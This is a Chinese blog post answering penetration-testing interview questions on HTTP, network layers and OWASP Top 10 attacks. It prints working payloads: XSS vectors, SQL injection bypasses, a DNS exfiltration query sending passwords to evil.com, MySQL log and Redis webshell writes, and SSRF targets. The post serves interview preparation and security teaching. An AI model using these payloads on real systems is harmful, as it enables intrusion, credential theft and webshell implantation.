2025年渗透测试面试题总结-36(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
一、计算机网络基础
1. HTTP 状态码(502/503/501)
2. HTTP 请求方式及作用
3. 计算机网络分层及协议
二、OWASP Top 10 漏洞深度解析
1. XSS 代码执行原理
2. XSS 常用标签及载荷
3. HTTP Only 的作用
4. SQL 注入存在性判断
5. SQL 注入无回显绕过方案
6. MySQL 延时注入替代 Sleep
7. DNSLog 外带原理
8. 单引号拦截绕过技巧
9. MySQL 写 Shell 其他方式
10. Redis 未授权访问 Getshell
11. SSRF 利用链与协议
总结建议
# 基础 1. http状态码,502,503,501 2. http请求方式及各自作用 3. 计算机网络的分层及分别有哪些协议# owasp top 10 1. xss如何执行代码 2. xss常用哪些标签 3. http only 4. 怎样判断是否存在注入 5. sql注入无回显怎么办 6. 延时注入除了sleep的其他姿势(mysql) 7. dnslog的实现原理 8. sql注入,单引号被拦截,如何绕过 9. sql注入,写shell的语句,除了into outfile还有什么mysql的特性可以getshell 10.redis的利用,如何shell,相关命令 11.ssrf的原理即后利用,怎么执行命令,常搭配使用的协议
一、计算机网络基础
1. HTTP 状态码(502/503/501)
状态码 含义 常见场景 502 Bad Gateway 代理服务器无法从上游服务器获取有效响应(如 Nginx 后端服务崩溃) 503 Service Unavailable 服务暂时过载或维护中(需检查服务器负载或停机公告) 501 Not Implemented 服务器不支持请求的功能(如请求了未实现的 HTTP 方法)
2. HTTP 请求方式及作用
方法 作用 安全风险 GET 获取资源(参数在 URL 中可见) 敏感数据泄露、XSS 触发点 POST 提交数据(表单/Create 操作) CSRF、SQL 注入主要入口 PUT 替换或创建目标资源(常用于 RESTful) 未授权覆盖文件风险 DELETE 删除资源 未验证权限导致任意删除 HEAD 只获取响应头(用于探测) 信息泄露(如 Server 版本) ℹ️ 其他方法:
OPTIONS
(列出可用方法)、PATCH
(局部更新)
3. 计算机网络分层及协议
分层 协议示例 关键功能 应用层 HTTP/HTTPS, FTP, DNS, SMTP 用户数据交互 传输层 TCP(可靠), UDP(高速) 端到端连接、流量控制 网络层 IP, ICMP, ARP 路由寻址、分组转发 数据链路层 Ethernet, PPP, MAC 物理寻址、帧同步 物理层 RJ45, 光纤, IEEE 802.11(Wi-Fi) 比特流传输 🌐 TCP/IP 简化模型:应用层 → 传输层 → 网络层 → 网络接口层
二、OWASP Top 10 漏洞深度解析
1. XSS 代码执行原理
- 反射型:恶意脚本通过 URL 参数注入 → 服务端返回含脚本的页面 → 用户触发执行(如钓鱼链接)
- 存储型:脚本存入数据库(如评论框) → 所有访问者加载页面时自动执行
- DOM 型:前端 JavaScript 直接操作 DOM 树注入脚本(不经过服务端)
2. XSS 常用标签及载荷
html<script>alert(1)</script> <img src=x onerror=alert(1)> <svg/onload=prompt(document.cookie)> <a href="javascript:alert(1)">点击</a> <iframe src="javascript:alert(1)">
⚠️ 绕过技巧:使用
String.fromCharCode()
编码、<template>
标签、SVG 事件3. HTTP Only 的作用
- 设置 Cookie 属性:
Set-Cookie: session=abc; HttpOnly
- 阻断 XSS 窃取 Cookie:JavaScript 无法通过
document.cookie
读取标记为 HttpOnly 的 Cookie4. SQL 注入存在性判断
- 报错探测:
'
/"
触发数据库语法错误(如 MySQL 的You have an error...
)- 布尔盲注:
and 1=1
页面正常 vsand 1=2
页面异常- 时间盲注:
and sleep(5)
观察响应延迟- 联合查询:
order by
测列数 →union select null--
5. SQL 注入无回显绕过方案
方法 原理 工具支持 DNSLog 利用域名解析外带数据(如 load_file()
)dnslog.cn 时间盲注 条件语句触发延迟( if(1,sleep(5),0)
)SQLMap、Burp Intruder Error-Based 强制报错输出数据(如 extractvalue()
)polyglot 载荷 6. MySQL 延时注入替代 Sleep
sqlBENCHMARK(10000000, MD5('test')) -- CPU 计算延时 SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B -- 笛卡尔积延迟 GET_LOCK('x', 5) -- 需高权限 RLIKE '(a.*)*' -- 正则回溯耗尽资源
7. DNSLog 外带原理
- 攻击者控制域名
evil.com
- 注入载荷:
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users), '.evil.com\\')) --
- 目标服务器解析
[data].evil.com
→ DNS 请求发送到攻击者服务器 → 数据被捕获8. 单引号拦截绕过技巧
- 十六进制编码:
SELECT * FROM users WHERE id=0x61646D696E
(admin
的 Hex)- 宽字节注入:
%bf%27
→ GBK 编码中被解析为合法字符(如縗'
)- 二次编码:
%2527
→ 服务器解码后变为%27
(即'
)- 模板字符串:MySQL 反引号
`
代替引号(非标准语法)9. MySQL 写 Shell 其他方式
sqlSET global general_log_file = '/var/www/shell.php'; SET global general_log = on; SELECT '<?php system($_GET[cmd]);?>'; -- 日志写入
替代方案:
- 日志文件篡改:通过
secure_file_priv
配置写日志- UDF 提权:编译恶意 so 文件导出函数
- 慢查询日志:利用
long_query_time
写入 PHP 代码10. Redis 未授权访问 Getshell
bashredis-cli -h 目标IP config set dir /var/www/html # 设置 Web 目录 config set dbfilename shell.php # 设置文件名 set x "<?php system($_REQUEST[0]);?>" # 写入 Payload save # 持久化到文件
⚡ 进阶利用:主从复制攻击(
SLAVEOF
)、模块加载(MODULE LOAD
)11. SSRF 利用链与协议
攻击原理:诱使服务端发起内部网络请求(如 URL 参数操控)
高危协议:
- file://:读取本地文件(
file:///etc/passwd
)- gopher://:构造任意 TCP 流量(可攻击 Redis/MySQL)
- dict://:探测端口信息(
dict://127.0.0.1:6379/info
)
命令执行:- 攻击内网脆弱服务(如未授权 Redis 的
eval
命令)- 云服务器元数据泄露(
http://169.254.169.254/
)
总结建议
- 防御方向:对所有输入输出严格过滤(白名单原则)、最小化权限分配、启用 WAF
- 工具链:SQLMap(自动化注入)、Burp Collaborator(DNSLog 替代)、Gopherus(SSRF 利用生成)
- 合规要求:敏感 Cookie 标记 HttpOnly + Secure、Redis 绑定 IP 且禁用远程修改配置